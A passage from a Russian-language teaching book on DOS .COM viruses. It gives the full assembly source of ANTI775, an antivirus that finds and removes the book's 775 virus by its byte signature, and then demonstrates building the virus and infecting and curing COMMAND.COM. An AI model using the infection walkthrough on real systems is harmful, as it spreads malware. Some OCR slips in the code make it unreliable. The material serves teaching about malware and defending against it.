При запуске .COM-программы DOS выделяет ей всю доступную память, поэтому, грамотно написанная .COM-программа (особенно резидентная) должна уменьшить количество выделенной ей памяти до необходимого объема. Кроме того, если .COM-программа использует несколько сегментов памяти, она должна знать адреса свободных сегментов, чтобы не нарушить блочную структуру памяти.

ALLOC_MEM:
	mov	ax,ds
	mov	es,ax
	mov	bx,1100h	; Reallocate 68 К bytes
	mov	ah,4Ah
	int	21h
	jnc	ALLOCATED

NOT_ALLOCATED:
	lea	dx,NO_MEM
	mov	ah,09h
	int	21h		; Print  a message
	jmp	TO_DOS
NO_MEM	db	10,13,'Insufficient memory to run ANTI775',10,13,'$'

ALLOCATED:
	lea	ax,LBL
	mov	cl,4
	shr	ax,cl
	inc	ax
	mov	bx,ds
 
	add	ax,bx
	mov	FSEG,ax		; Segment of program in memory


Поскольку наш вирус не заражает программы, длина которых больше 64 К байт, мы должны выделить соответствующее количество памяти. Пусть это будет, например, 68 К байт. В случае, если вызванная функция DOS (4A) возвратит ошибку (флаг переноса CF взведен), наш антивирус выдаст сообщение о недостаточном объеме свободной памяти и завершит работу. В выделенную память антивирус будет считывать тестируемую программу (или ее часть - первые 64 К байт).

Мы будем проверять на наличие вируса даже большие (длиннее 64 К байт) программы, хотя вирус следит за тем, чтобы длина зараженной программы не превышала этой величины. Тем не менее, есть вирусы, которые этого не делают, и тогда .COM-программа может разрастись до размеров, превышающих размер сегмента (64 К байт). Мы предусмотрим случай, когда за нашим вирусом может "сесть" один или несколько других, в том числе и таких, которые "убивают" .COM-программу тем, что ее новая длина (вместе с вирусом) превышает 64 К байт. Наш антивирус будет "лечить" и такие программы! Он будет вместе с нашим вирусом "выкусывать" и те вирусы, которые "сели" после него. Конечно, наш антивирус не сможет лечить от вирусов, "севших" раньше него, но и то, что он сможет - большой плюс.

Кстати, данный принцип ("выкусывание" вирусов, находящихся после данного вируса) сможет применяться и для интеллектуальной вакцинации, т.е. для создания "самовылечивающихся" или самотестирующихся программ. В этом случае программу "заражают" не вирусом, а программой-вакциной, которая выполняет функции антивируса и "выкусывает" любые вирусы, пристраивающиеся к ней в "хвост"...

После этого лирического отступлении напомним, что сегментный адрес выделенной области памяти мы сохранили в слове по адресу FSEG.

3.9 Ищем зараженные файлы.

Алгоритм поиска файлов, соответствующих шаблону подробно описан во второй главе, и мы лишь обратим Ваше внимание на то, что антивирус, в отличие от нашего вируса, просматривает все .COM-файлы в текущем каталоге, включая файлы с атрибутами read-only, hidden и system.

Следующий блок программы-антивируса выполняет такие действия: находит .COM-файл, соответствующий шаблону, обрабатывает и сохраняет его имя, устанавливает атрибуты, открывает файл в режиме чтения-записи, считывает и сохраняет логический номер файла (handle).

FIND_FIRST:
	lea	dx,FMASK	; Mask of file name
	mov	cx,00100111b	; arc,dir,voL,sys,hid,r/o
	mov	ah,4Eh
	int	21h
	jnc	STORE_FNAME
	jmp	EXIT

FIND_NEXT:
	mov	bx,HANDLE
	mov	ah,3Eh
	int	21h		; Close previous file
	mov	HANDLE,0FFFFh	; Note that file was closed

	mov	ah,4Fh
	int	21h		; Find next file
	jnc	STORE_FNAME
	jmp	EXIT
 
STORE_FNAME:
	mov	bx,0

NEXT_SYM:
	mov	al,byte ptr cs:[bx+9Eh]
	mov	FNAME[bx],al
	cmp	byte ptr cs:[bx+9Eh],0
	je	SET_ATTRIB
	inc	bx
	cmp	bx,13
	jng	NEXT_SYM
	jmp	ERR

SET_ATTRIB:
	lea	dx,FNAME
	mov	cx,00100000b	; arc,dir,vol,sys,hid,r/o
	mov	ax,4301h
	int	21h		; Set file attributes
	jnc	READ_HANDLE
	jmp	ERR

READ_HANDLE:
	lea	dx,FNAME
	mov	ax,3D02h	; Read/wite mode
	int	21h		; Open a file (handle is in ax)
	jnc	READ_FLEN
	jmp	ERR


Наш антивирус (поскольку он учебный) в целях экономии Вашего времени не делает некоторых вещей, которые стандартные антивирусы делают. Например, он перед закрытием файла не восстанавливает его атрибуты. Однако Вы сами легко можете дописать несколько команд, которые будут выполнять эту, в общем-то важную, функцию (в нашем антивирусе даже выделен для этой цели в области данных байт с именем ATTRIB).

3.10 Длинные и короткие файлы

Обычно длинные файлы считывают и просматривают по частям. Однако, поскольку мы не собираемся считывать более 64 К байт даже самого длинного файла, будем считывать файлы в память целиком (для упрощения алгоритма и ускорения процедуры поиска сигнатуры вируса). Тем не менее, покажем, как можно считывать длинный файл, например, в два приема по 32 К байт. Сначала выясним длину тестируемого файла.

READ_FLEN:
	mov	HANDLE,ax	; Store handle number
	mov	cx,0
	mov	dx,0		; NULL seek position in cx:dx
	mov	bx,HANDLE
	mov	ax,4202h	; Get program length in dx:ax
	int	21h
	mov	FLEN,ax
	cmp	dx,0
	je	SET_FSTART
	mov	FLEN,0FFFEh


Если длина файла превышает 64 К байт, занесем по адресу FLEN число 0FFFFh, которое отражает тот факт, что мы не собираемся считывать файл длиннее 0FFFFh байт. Далее, если длина файла не превышает 32 К байт, считаем его в один прием, а если превышает - то в два.

SET_FSTART:
	mov	bx,HANDLE
	mov	cx,0
	mov	dx,0
	mov	ax,4200h
	int	21h		; Set seek pointer to start of file
 
READ_FILE:
	mov	bx,HANDLE
	mov	cx,FLEN
	mov	dx,0
	cmp	FLEN,8001h	; If length of file < 32769,
	jb	READ_REST	; Read file in one step
	mov	cx,8000h
	push	ds
	mov	dx,0
	mov	ax,FSEG
	mov	ds,ax
	mov	ah,3Fh
	int	21h		; Read 32768 bytes from file to buffer
	pop	ds
	mov	cx,FLEN
	mov	dx,8000h
	sub	cx,8000h	; Prepare to read the rest of the file

READ_REST:
	mov	bx,HANDLE	; bx = HANDLE
	push	ds
	mov	ax,FSEG
	mov	ds,ax		; ds:dx - buffer address
	mov	ah,3Fh
	int	21h		; Read and store entire file
	pop	ds
	jne	CHECK_SIG
	jmp	ERR


Отметим некоторые особенности считывания файла в сегмент, отличный от текущего сегмента кода и данных нашего антивируса. Для того, чтобы считать файл в другой сегмент, сохраним в стеке текущее содержимое регистра ds (push ds), а затем поместим в этот регистр величину, полученную при запросе памяти у операционной системы и хранящуюся в слове по адресу FSEG. После считывания файла восстановим прежнее значение регистра ds (pop ds).

3.11 Ищем сигнатуру вируса

Как мы уже выяснили, знак '$' в конце файла не является сколько-нибудь надежным указателем на возможное присутствие нашего вируса в файле, поэтому сразу приступим к поиску сигнатуры. Для поиска сигнатуры вируса в файле, который уже считан в память, выберем следующий алгоритм. Сначала будем искать в тестируемом файле код 0FFh, который соответствует первому байту сигнатуры, а затем будем проверять следующие за этим кодом девять байт на соответствие остальным кодам сигнатуры вируса. Для поиска в другом сегменте, отличном от сегмента кода и данных антивируса, будем использовать регистр расширенного сегмента данных - es.

CHECK_SIG:
	mov	ax,FSEG
	mov	es,ax
	mov	di,0		; es:di - address of COM. file
	cld
	mov	cx,FLEN
	sub	cx,SIGL
	mov	al,0FFh		; al = FF (hexadecimal)

NEXT_FF:
	repne	scasb
	je	FOUND_FF

NO_FF:
	jmp	FIND_NEXT

FOUND_FF:
	push	cx		; Store counter for next 0FFh search
	push	di		; Store di for next 0FFh search
	dec	di		; es:di - address of 0FFh found
	mov	SIGO,di		; Store offset of 0FFh found
	lea	si,SIG		; ds:si - address of SIG string
	mov	cx,SIGL		; cx - Length of SIG string
 
	repe	cmpsb		; Compare SIG with string in file
	je	FOUND_SIG
	pop	di		; Restore di for next 0FFh dearch
	pop	cx		; Restore counter for next OFFh search
	jmp	NEXT_FF

FOUND_SIG:
	inc	FILES		; Count infected files
	lea	dx,WARNING
	mov	ah,09h
	int	21h		; Print warning message


Если сигнатура вируса найдена в тестируемом файле, антивирус выводит соответствующее сообщение и увеличивает счетчик зараженных файлов (метка FILES) на единицу. Заметим, что имя зараженного (тестируемого) файла мы храним не в конце программы-антивируса, где располагается его область данных, а в середине строки сообщения - для упрощения программирования. В этом случае без обработки строки, содержащей имя файла можно целиком вывести предупреждающее сообщение на экран. Однако в этом случае сообщения, включающие имена файлов, содержащие знак доллара '$', будут выводиться неправильно (т.к. знак доллара является признаком конца строки-сообщения для функции DOS 09h). Однако мы сознательно идем на такое упрощение, чтобы не запутывать читателя сложностями ввода-вывода на ассемблере. Чтобы правильно выводить имена файлов, не содержащих знак '$', необходимо каждый раз перед помещением в строку FNAME имени нового файла, предварительно заполнить ее (12 байт) пробелами, иначе в этой строке могут находиться "остатки" имен файлов, прочитанных ранее.

BLANK:
	mov	cx,12		; Width of file name field
	mov	bx,0

REP32:
	mov	FNAME[bx],32
 
	inc	bx
	loop	REP32		; Fill field with spaces
	cmp	MODE,1		; Was there 'q' in command line?
	je	CURE
	jmp	FIND_NEXT	; Do not cure!
WARNING	db	10,13,'File '
FNAME	db	12 dup (32),0	; File name ASCIIZ string
	db	' is infected by the 775 virus',10,13,'$'


3.12 Лечим зараженный файл

Итак, теперь, когда файл считан в память, в нем найдена сигнатура вируса и выдано сообщение о том, что файл с таким-то именем заражен, можно приступить к его лечению. Разумеется, антивирус предварительно проверит, дано ли ему такое задание (т.е. был ли задан в, командной строке параметр типа /q. Если да, то байт с именем MODE содержит единицу - и можно приступать к самому ответственному шагу, который начинается с метки CURE.

Прежде всего, отметим, что смещение первого байта сигнатуры вируса в тестируемом файле было сохранено по адресу SIGO. Таким образом, для того чтобы определить смещение, по которому хранятся прежние первые три байта нашего "пациента", достаточно прибавить к числу SIGO число SIGO3 (смещение первого из трех восстанавливаемых байт относительно адреса первого байта сигнатуры).

CURE:
	mov	bx,SIGO		; SIGO - offset of virus signature
	add	bx,SIGO3	; SIGO3 - 3 bytes relative to SIG
	mov	al,byte ptr es:[bx] ; es:bx - address of original 3 bytes
	mov	byte ptr es:[0],al
 
	mov	al,byte ptr es:[bx+1]
	mov	byte ptr es:[1],al
	mov	al,byte ptr es:[bx+2]
	mov	byte ptr es:[2],al	; Three bytes were restored
	mov	bx,SIGFL
	add	bx,SIGO
	mov	ax,word ptr es:[bx] ; Store old Length of file to be cured
	mov	FLENOLD,ax


Аналогичным образом вычисляется смещение, по которому хранится прежняя длина файла, который мы "лечим": к числу SIGFL (смещение слова, в котором хранится длина файла, относительно первого байта сигнатуры) прибавляем число SIGO (смещение первого байта сигнатуры вируса в файле).

3.13 Записываем вылеченный файл

Простая, казалось бы операция - запись вылеченного файла на диск - на самом деле требует несколько более подробного рассмотрения. И вот почему. В нашем случае нам "повезло": вирус хранил прежнюю длину файла-жертвы в своей области данных. Поэтому для того чтобы определить, какую часть вылеченного файла записывать на диск, достаточно было прочитать эту величину из того места файла-жертвы, которое определяется после весьма нехитрых расчетов (см. выше). Как же быть, если вирус не хранит и, следовательно, не передает вместе с собой в заражаемый файл информацию о его прежней длине? Ответ не столь сложен. В этом случае достаточно воспользоваться информацией о смещении первого байта сигнатуры относительно начала вируса (эта величина легко определяется с помощью любого отладчика), а затем "обрезать" обрабатываемый файл точно по началу кода вируса. К сожалению, в этом случае файл, зараженный вирусом, который перед дозаписью своего кода в "хвост" файла производит выравнивание адресов по границе параграфа (как наш вирус), будет иметь небольшой "хвостик", состоящий из мусора, оставленного вирусом (не более 15 байт).

SAVE_FILE:
	mov	cx,0
	mov	dx,0	; dx:cx - position of seek  pointer (0)
	mov	bx,HANDLE
	mov	ax,4200h
	int	21h	; Set seek pointer to start of file
	mov	cx,FLENOLD
	mov	bx,HANDLE
	push	ds
	mov	ax,FSEG
	mov	ds,ax
	mov	dx,0	; ds:dx - address of file in memory
	mov	ah,40h
	int	21h	; Write cured file to disk

CUT_FILE:
	mov	cx,0
	mov	ah,40h
	int	21h		; Cut file to new length
	pop	ds
	lea	dx,CURED
	mov	ah,09h
	int	21h		; Print "Cured" message
	jmp	FIND_NEXT
CURED	db	'File was successfuly cured...',10,13,'$'


После записи вылеченного файла на диск антивирус выдает соответствующее сообщение и, если в текущем каталоге имеются другие файлы, соответствующие шаблону, продолжает свою работу.

3.14 Антивирус "умывает руки"

Итак, хирургическая операция по восстановлению зараженного файла завершена: восстановлены первые три байта файла, отрезан "хвост", в котором притаился вирус...

Теперь достаточно привести блок, который берет на себя обработку ошибок DOS (громко сказано, поскольку наш антивирус вместо обработки ошибок просто завершает работу) - и наш труд почти завершен.

ERR:
	lea	dx,NOMORE
	mov	ah,09h
	int	21h
	mov	al,2		; Return code 2 (Error, no files found)
	jmp	TO_DOS
NOMORE	db	10,13,'Can not find infected .COM files...',10,13,'$'

EXIT:
	cmp	FILES,0
	je	NOFILES

FNUM_OUT:
	mov	al,FILES
	add	al,30h
	mov	ah,0Eh
	int	10h		; Print number of files (0-9)
	lea	dx,MSGC
	cmp	MODE,1		; If MODE=1, mode is "cure"
	je	MSGCF
	lea	dx,MSGF

MSGCF:
 
	mov	ah,09h
	int	21h		; Print 'File(s) cured' message
	mov	al,1		; Return  code 1 (found infected files)
	jmp	TO_DOS
MSGC	db	' File(s) cured',10,13,'$'
MSGF	db	' Filets) infected',10,13,'S'

NOFILES:
	lea	dx,GOODBY
	mov	ah,09h
	int	21h
	mov	al,0		; Return  code 0 (Ho files infected)
	jmp	TO_DOS
GOODBY	db	10,13,'No infected files found...',10,13,'$'

TO_DOS:
	cmp	HANDLE,0FFFFh
	je	TERMINATE

CLOSE_FILE:
	mov	bx,HANDLE
	mov	ah,3Eh
	int	21h

TERMINATE:	; Free allocated memory
	mov	ah,4Ch
	int	21h		; Terminate program (al - return code)


Приведенный выше блок, помимо обработки ошибок, выполняет также следующие функции:
  1. выдает сообщение о том, что зараженных файлов найдено не было;
  2. устанавливает коды возврата, которые могут быть использованы при запуске антивируса из пакетных (BAT) файлов;
  3. выдает сообщение о количестве зараженных и вылеченных файлов;
  4. закрывает открытые файлы;
  5. высвобождает выделенную программе память;
  6. обеспечивает выход в DOS.
Теперь мы можем привести полный текст написанной нами программы, антивируса и фага. Кроме того, настало время сказать, почему наш вирус называется VIRUS775, а антивирус - соответственно ANTI775. Дело в том, что мы, в отступление от общепринятой практики, когда вирусу присваивают код, равный минимальному приращению длины заражаемого файла, решили назвать его в соответствии с длиной кода запускающей вирус программы. А исполняемый код этой программы занимает как раз 775 байт. Вот и весь секрет.

3.15 Текст программы ANTI775.ASM

	.8086
	PAGE	,132
;****************************************************************
; ANTI775.ASM - program to find files infected by the "775" virus
;          and to restore these files in their original state
;****************************************************************
CSEG	segment
	assume cs:CSEG,ds:CSEG,es:CSEG
	org 100h

START:
	mov	SIG[10],0FFh		; Completes SIG string

READ_PARAM:
	cmp	byte ptr cs:[80h],0
	je	FIND_MODE	; If no parameters, "find" mode
	mov	ax,ds
	mov	es,ax
	cld
 
	mov	al,'q'	; 'q' - "find & cure mode" (MODE=1)
	mov	ch,0
	mov	cl,cs:[80h]	; Length of UPA (from PSP)
	mov	di,81h		; Offset  of UPA (from PSP)
	repne	scasb
	je	CURE_MODE

FIND_MODE:
	mov	MODE,0
	jmp	ALLOC_MEM

CURE_MODE:
	mov	MODE,1

ALLOC_MEM:
	mov	ax,ds
	mov	es,ax
	mov	bx,1100h	; Reallocate 68 К bytes
	mov	ah,4Ah
	int	21h
	jnc	ALLOCATED

NOT_ALLOCATED:
	lea	dx,NO_MEM
	mov	ah,09h
	int	21h		; Print  a message
	jmp	TO_DOS
NO_MEM	db	10,13,'Insufficient memory to run ANTI775',10,13,'$'

ALLOCATED:
	lea	ax,LBL
	mov	cl,4
	shr	ax,cl
	inc	ax
	mov	bx,ds
	add	ax,bx
	mov	FSEG,ax		; Segment of program in memory

FIND_FIRST:
	lea	dx,FMASK	; Mask of file name
 
	mov	cx,00100111b	; arc,dir,voL,sys,hid,r/o
	mov	ah,4Eh
	int	21h
	jnc	STORE_FNAME
	jmp	EXIT

FIND_NEXT:
	mov	bx,HANDLE
	mov	ah,3Eh
	int	21h		; Close previous file
	mov	HANDLE,0FFFFh	; Note that file was closed
	mov	ah,4Fh
	int	21h		; Find next file
	jnc	STORE_FNAME
	jmp	EXIT

STORE_FNAME:
	mov	bx,0

NEXT_SYM:
	mov	al,byte ptr cs:[bx+9Eh]
	mov	FNAME[bx],al
	cmp	byte ptr cs:[bx+9Eh],0
	je	SET_ATTRIB
	inc	bx
	cmp	bx,13
	jng	NEXT_SYM
	jmp       ERR

SET_ATTRIB:
	lea	dx,FNAME
	mov	cx,00100000b	; arc,dir,vol,sys,hid,r/o
	mov	ax,4301h
	int	21h		; Set file attributes
	jnc	READ_HANDLE
	jmp	ERR

READ_HANDLE:
	lea	dx,FNAME
	mov	ax,3D02h	; Read/wite mode
 
	int	21h		; Open a file (handle is in ax)
	jnc	READ_FLEN
	jmp	ERR

READ_FLEN:
	mov	HANDLE,ax	; Store handle number
	mov	cx,0
	mov	dx,0		; NULL seek position in cx:dx
	mov	bx,HANDLE
	mov	ax,4202h	; Get program length in dx:ax
	int	21h
	mov	FLEN,ax
	cmp	dx,0
	je	SET_FSTART
	mov	FLEN,0FFFEh

SET_FSTART:
	mov	bx,HANDLE
	mov	cx,0
	mov	dx,0
	mov	ax,4200h
	int	21h		; Set seek pointer to start of file

READ_FILE:
	mov	bx,HANDLE
	mov	cx,FLEN
	mov	dx,0
	cmp	FLEN,8001h	; If length of file < 32769,
	jb	READ_REST	; Read file in one step
	mov	cx,8000h
	push	ds
	mov	dx,0
	mov	ax,FSEG
	mov	ds,ax
	mov	ah,3Fh
	int	21h		; Read 32768 bytes from file to buffer
	pop	ds
	mov	cx,FLEN
	mov	dx,8000h
	sub	cx,8000h	; Prepare to read the rest of the file
 
READ_REST:
	mov	bx,HANDLE	; bx = HANDLE
	push	ds
	mov	ax,FSEG
	mov	ds,ax		; ds:dx - buffer address
	mov	ah,3Fh
	int	21h		; Read and store entire file
	pop	ds
	jne	CHECK_SIG
	jmp	ERR

CHECK_SIG:
	mov	ax,FSEG
	mov	es,ax
	mov	di,0		; es:di - address of COM. file
	cld
	mov	cx,FLEN
	sub	cx,SIGL
	mov	al,0FFh		; al = FF (hexadecimal)

NEXT_FF:
	repne	scasb
	je	FOUND_FF

NO_FF:
	jmp	FIND_NEXT

FOUND_FF:
	push	cx		; Store counter for next 0FFh search
	push	di		; Store di for next 0FFh search
	dec	di		; es:di - address of 0FFh found
	mov	SIGO,di		; Store offset of 0FFh found
	lea	si,SIG		; ds:si - address of SIG string
	mov	cx,SIGL		; cx - Length of SIG string
	repe	cmpsb		; Compare SIG with string in file
	je	FOUND_SIG
	pop	di		; Restore di for next 0FFh dearch
	pop	cx		; Restore counter for next OFFh search
	jmp	NEXT_FF

FOUND_SIG:
 
	inc	FILES		; Count infected files
	lea	dx,WARNING
	mov	ah,09h
	int	21h		; Print warning message

BLANK:
	mov	cx,12		; Width of file name field
	mov	bx,0

REP32:
	mov	FNAME[bx],32
	inc	bx
	loop	REP32		; Fill field with spaces
	cmp	MODE,1		; Was there 'q' in command line?
	je	CURE
	jmp	FIND_NEXT	; Do not cure!
WARNING	db	10,13,'File '
FNAME	db	12 dup (32),0	; File name ASCIIZ string
	db	' is infected by the 775 virus',10,13,'$'

CURE:
	mov	bx,SIGO		; SIGO - offset of virus signature
	add	bx,SIGO3	; SIGO3 - 3 bytes relative to SIG
	mov	al,byte ptr es:[bx] ; es:bx - address of original 3 bytes
	mov	byte ptr es:[0],al
	mov	al,byte ptr es:[bx+1]
	mov	byte ptr es:[1],al
	mov	al,byte ptr es:[bx+2]
	mov	byte ptr es:[2],al	; Three bytes were restored
	mov	bx,SIGFL
	add	bx,SIGO
	mov	ax,word ptr es:[bx] ; Store old Length of file to be cured
	mov	FLENOLD,ax

SAVE_FILE:
	mov	cx,0
	mov	dx,0	; dx:cx - position of seek  pointer (0)
	mov	bx,HANDLE
 
	mov	ax,4200h
	int	21h	; Set seek pointer to start of file
	mov	cx,FLENOLD
	mov	bx,HANDLE
	push	ds
	mov	ax,FSEG
	mov	ds,ax
	mov	dx,0	; ds:dx - address of file in memory
	mov	ah,40h
	int	21h	; Write cured file to disk

CUT_FILE:
	mov	cx,0
	mov	ah,40h
	int	21h		; Cut file to new length
	pop	ds
	lea	dx,CURED
	mov	ah,09h
	int	21h		; Print "Cured" message
	jmp	FIND_NEXT
CURED	db	'File was successfuly cured...',10,13,'$'

ERR:
	lea	dx,NOMORE
	mov	ah,09h
	int	21h
	mov	al,2		; Return code 2 (Error, no files found)
	jmp	TO_DOS
NOMORE	db	10,13,'Can not find infected .COM files...',10,13,'$'

EXIT:
	cmp	FILES,0
	je	NOFILES

FNUM_OUT:
	mov	al,FILES
	add	al,30h
 
	mov	ah,0Eh
	int	10h		; Print number of files (0-9)
	lea	dx,MSGC
	cmp	MODE,1		; If MODE=1, mode is "cure"
	je	MSGCF
	lea	dx,MSGF

MSGCF:
	mov	ah,09h
	int	21h		; Print 'File(s) cured' message
	mov	al,1		; Return  code 1 (found infected files)
	jmp	TO_DOS
MSGC	db	' File(s) cured',10,13,'$'
MSGF	db	' Filets) infected',10,13,'S'

NOFILES:
	lea	dx,GOODBY
	mov	ah,09h
	int	21h
	mov	al,0		; Return  code 0 (Ho files infected)
	jmp	TO_DOS
GOODBY	db	10,13,'No infected files found...',10,13,'$'

TO_DOS:
	cmp	HANDLE,0FFFFh
	je	TERMINATE

CLOSE_FILE:
	mov	bx,HANDLE
	mov	ah,3Eh
	int	21h

TERMINATE:	; Free allocated memory
	mov	ah,4Ch
	int	21h		; Terminate program (al - return code)

MODE	db	0	; 0 - find, 1 - find & cure
FILES	db	0	; Number of infected files
SIG	db	0FFh,080h,03Eh,0DEh,002h,024h,075h,003h,0E9h,021h
	db	0	; Virus signature (last byte)
SIGL	equ	$-SIG	; Length of SIG string
 
SIGO	dw	(?)	; Offset of SIG in file
SIGO3	dw	0BAh	; Offset of old 3 bytes relative to SIG
SIGFL	dw	0B1h	; Offset of old file length relative to SIG
FMASK	db	'*.COM',0h	; File name mask
FLEN	dw	(?)	; Current length af tested file
FLENOLD	dw	(?)	; Old length of file to be cured
HANDLE	dw	0FFFFh	; File handle number
ATTRIB	db	(?)	; File attribute
FSEG	dw	(?)	; Segment to store file
LBL	db	'$'	; Security label
CSEG	ends
	end START


Глава 4. Кто выиграет войну?

Было бы нечестно по отношению к читателю, потратившему столько внимания и усилий при прочтении первых трех глав нашей книги, если бы мы не показали наши программы в действии (насколько это вообще возможно в отсутствие компьютера).

Вероятно, для неискушенных пользователей стоит кратко рассказать о процессе создания исполняемых программ из наших текстов на языке ассемблера. Пусть программа-вирус записана в файл с именем VIRUS775.ASM, а программа-антивирус записана в файл ANTI775.ASM. Покажем на примере первой из этих программ процесс трансляции ассемблерного текста и создания .COM-файла.

4.1 Создаем исполняемые программы

Прежде всего, скопируем файл VIRUS775.ASM в тот каталог, где у нас находится пакет программ ассемблера. Теперь в ответ на системный запрос DOS подадим команду masm virus775.asm и правильно ответим на все вопросы ассемблера. При этом на экране дисплея результаты работы ассемблера отразятся следующим образом.

C:\MASM.50\>masm virus775.asm
Microsoft (R) Macro Assembler Version 5.00
Copyright (C) Microsoft Corp 1981-1985, 1987. All rights reserved.

Object filename [virus775.OBJ]:
Source listing [NUL.LST]: virus775.lst
Cross-reference [NUL.CRF]:

  50666 + 314342 Bytes symbol space free

     0 Warning Errors
     0 Severe Errors


Мы получили два необходимых нам файла: VIRUS.OBJ (объектный модуль) и VIRUS775.LST (листинг программы VIRUS775.ASM, приведенный в предыдущей главе. Теперь пора дать работу редактору связей (компоновщику).

С:\MASM.50\>link virus775.obj
Microsoft (R) Overlay Linker Version 3.60
Copyright (C) Microsoft Corp 1983-1987. All rights reserved.

Run File [VIRUS775.EXE]:
List File [NUL.MAP]:
Libraries [.LIB]:
LINK : warning L4021: no stack segment


Результатом работы редактора связей, или, как его еще называют, компоновщика, является файл VIRUS775.EXE.

Наконец, для получения перемещаемого двоичного файла VIRUS775.COM необходимо "обработать" файл VIRUS775.EXE с помощью программы exe2bin:

C:\MASM.50\>exe2bin virus775.exe virus775.com


Теперь скопируем все файлы с именем VIRUS775 в подкаталог C:\VIRUS и посмотрим, что у нас получилось в результате всех описанных операций.

C:\VIRUS\>dir

 Volume in drive C is COMPILERS
 Directory of C:\VIRUS

VIRUS775  ASM     4418   6-24-91   9:18p
VIHUS775  LSI    12132   7-08-91   5:56p
VIHUS775  OBJ      928   7-08-91   5:56p
VIRUS775  EXE     1543   7-08-91   5:56p
VIRUS775  COM      775   7-08-91   5:56p
         5  Files(s) 7632896 bytes free


Аналогичным образом, повторив все описанные шаги для файла ANTI775.ASM, получим перемещаемый двоичный файл ANTI775.COM.

Итак, мы воспользовались имеющимся под рукой ассемблером, затем программой exe2bin и получили две программы: virus775.com и anti775.com. Первая имеет длину 775 байт, а вторая (если Вы не вносили в нее своих изменений) - 840 байт.

4.2 Заражаем COMMAND.COM

Теперь можно начать самое интересное - проверку созданных нами программ в действии. Чтобы не заставлять беспокоиться ту часть наших читателей, которые имеют слабые нервы, мы будем проводить наши эксперименты с вирусом на отдельной дискете. Для этого создадим на ней подкаталог с именем VIRUS и скопируем туда три файла: VIRUS775.COM, ANTI775.СОМ и COMMAND.COM. Подадим команду dir и запомним размеры указанных файлов.

A:\VIRUS>dir

 Volume in drive A is TEST
 Directory of  A:\VIRUS

.            <DIR>       6-24-91   9:10p
..           <DIR>       6-24-91   9:10p
V1RUS775  COM      775   6-24-91   9:18p
ANTI775   COM      840   6-24-91   9:25p
COMMAND   COM    25308   8-29-88  12:00p
         5  file(s)  624704  bytes free

	Выпускаем вирус на свободу при помощи программы
VIRUS775.COM.

A:VIRUS\>virus775

Hallo! I have got a virus for you!

A:\VIRUS\>


Как видим, вирус "сработал". Данное сообщение он выдает только в том случае, если заражает какой-либо файл, Проверим, действительно ли это COMMAND.COM.

A:\VIRUS>dir

 Volume in drive A is TEST
 Directory of  A:\VIRUS

.            <DIR>       6-24-91   9:10p
..           <DIR>       6-24-91   9:10p
V1RUS775  COM      775   6-24-91   9:18p
ANTI775   COM      840   6-24-91   9:25p
COMMAND   COM    26071   6-24-91   9:43p
         5  file(s)  624704  bytes free


Как видим, длина файла COMMAND.COM увеличилась с 25308 до 26071 байт (т.е. на 763 байта). Визуальный просмотр "хвоста" файла, например, с помощью программ NU или DISKEDIT показывает, что в конце файла COMMAND.COM появилась строка, которой наш вирус "пугает" пользователей. Теперь, если запускать зараженный COMMAND.COM, он будет заражать по очереди все программы, которые находятся в текущем каталоге, и каждый раз при этом будет выдавать пугающее сообщение. Если же подходящих программ не окажется, вирус будет "молчать".

4.3 Проверяем работу антивируса

Для начала запустим программу anti775.com без параметров, чтобы она лишь сообщила о зараженном файле, но не "лечила" его (напомним, что этот режим используется в программе anti775.com по умолчанию).

A:\VIRUS>anti775

File COMMAND.COM is infected by the 775 virus
1 File(s) infected

A:\>


Как видим, все в порядке: вирус найден, и правильно указан файл, содержащий его сигнатуру, COMMAHD.COM. Здесь сработала та часть антивируса, которую мы назвали детектором.

Запустим программу anti775.com с параметром /q. Теперь антивирус должен не только найти зараженный файл, но и "вылечить" его.

A:\>anti775 /q

File COMMAND.COM is infected by the 775 virus
File was successfuly cured...
1 File(s) cured

A:\>


Судя по выданному сообщению, COMMAND.COM успешно восстановлен. Проверим, как изменилась его длина.

C:\VlRUS\>dir

Volume in drive C is COMPILERS
Directory of C:\VIRUS

             <DIR>       6-24-91   9:10p
             <DIR>       6-24-91   9:10p
VIRUS775  COM      775   6-24-91   9:18p
 
ANTI775   СОМ      840   6-24-91   9:25р
COMMAND   СОМ    25308   6-26-91  10:08р
         5 File(s)   7624704 bytes free


Длина вылеченного файла COMMAND.COM совпадает с его исходной длиной (до заражения вирусом). Последней проверкой может служить выполнение команды сравнения вылеченного файла COMMAND.COM и аналогичного файла в корневом каталоге диска C: - проведем эту проверку.

A:\VIRUS\>comp command.com c:\command.com

A:\VIRUS\COMMAND.COM and C:\COMMAND.COM

Eof mark not found

Files compare ok

Compare more files (Y/N) n


Итак, мы можем принимать поздравления. Наш антивирус не только обнаруживает сигнатуру вируса в зараженном файле и сообщает об этом пользователю, но по нашему требованию восстанавливает зараженный файл, да так, что восстановленный файл не отличается от исходного "здорового" файла!

В заключение хочется обратить внимание читателей на весьма широкие возможности для модификаций и улучшений антивирусной программы (да и вируса, разумеется, тоже). Например, ни вирус, ни антивирус не проверяют, действительно ли заражаемый (зараженный) файл является файлом типа .COM, а не .EXE. Ведь DOS различает эти файлы не по расширению, по "подписи" .EXE-файла, т.е. по двум первые байтам (в файле типа .EXE должна стоять пара символов ASCII "MZ"). Однако совершенствовать и улучшать любой программный продукт можно до бесконечности, нашей же задачей являлось продемонстрировать лишь специфические черты технологии создания файловых .COM-вирусов и антивирусов (детекторов и фагов).

4.4 Вместо послесловия

Война вирусов и антивирусов - это борьба их создателей. К сожалению, создатели вирусов всегда имеют пренмущество во времени. Однако не стоит теряться и падать духом. Если не пренебрегать правилами вирусной безопасности и не перенасыщать безо всякой системы и проверки Ваш винчестер играми и другими программами с сомнительным происхождением, можно вполне выйти из этой борьбы если не победителем, то уж во всяком случае без существенных потерь. Например, у автора этой книги, который чуть ли не каждую неделю борется с вирусами, проникающими в компьютеры его друзей, за два последних года в результате применения системы мер безопасности не было замечено (тьфу-тьфу!) ни одного вируса. А если вирус все же появится, нужно быть во всеоружии. Именно на то, чтобы дать читателю в руки такое оружие или хотя бы познакомить с тем, как оно куется, и нацелена данная книга.

Удачи!

Аннотация литературы по компьютерным вирусам.
И.Ш.Карасик. Несколько слов о компьютерных вирусах. Интеркомпьютер, 1989, вып. 1, стр. 14-15.
Рассмотрена вирусная терминология, поясняется смысл таких терминов, как компьютерный вирус и червяк, троянская программа, бомба, репликация, заражение, размножение, инкубационный период. Кратко описаны действия вирусов разных типов.
И.Ш.Карасик. Типология вирусов. Интеркомпьютер, 1989, вып. 2, стр. 14-15.
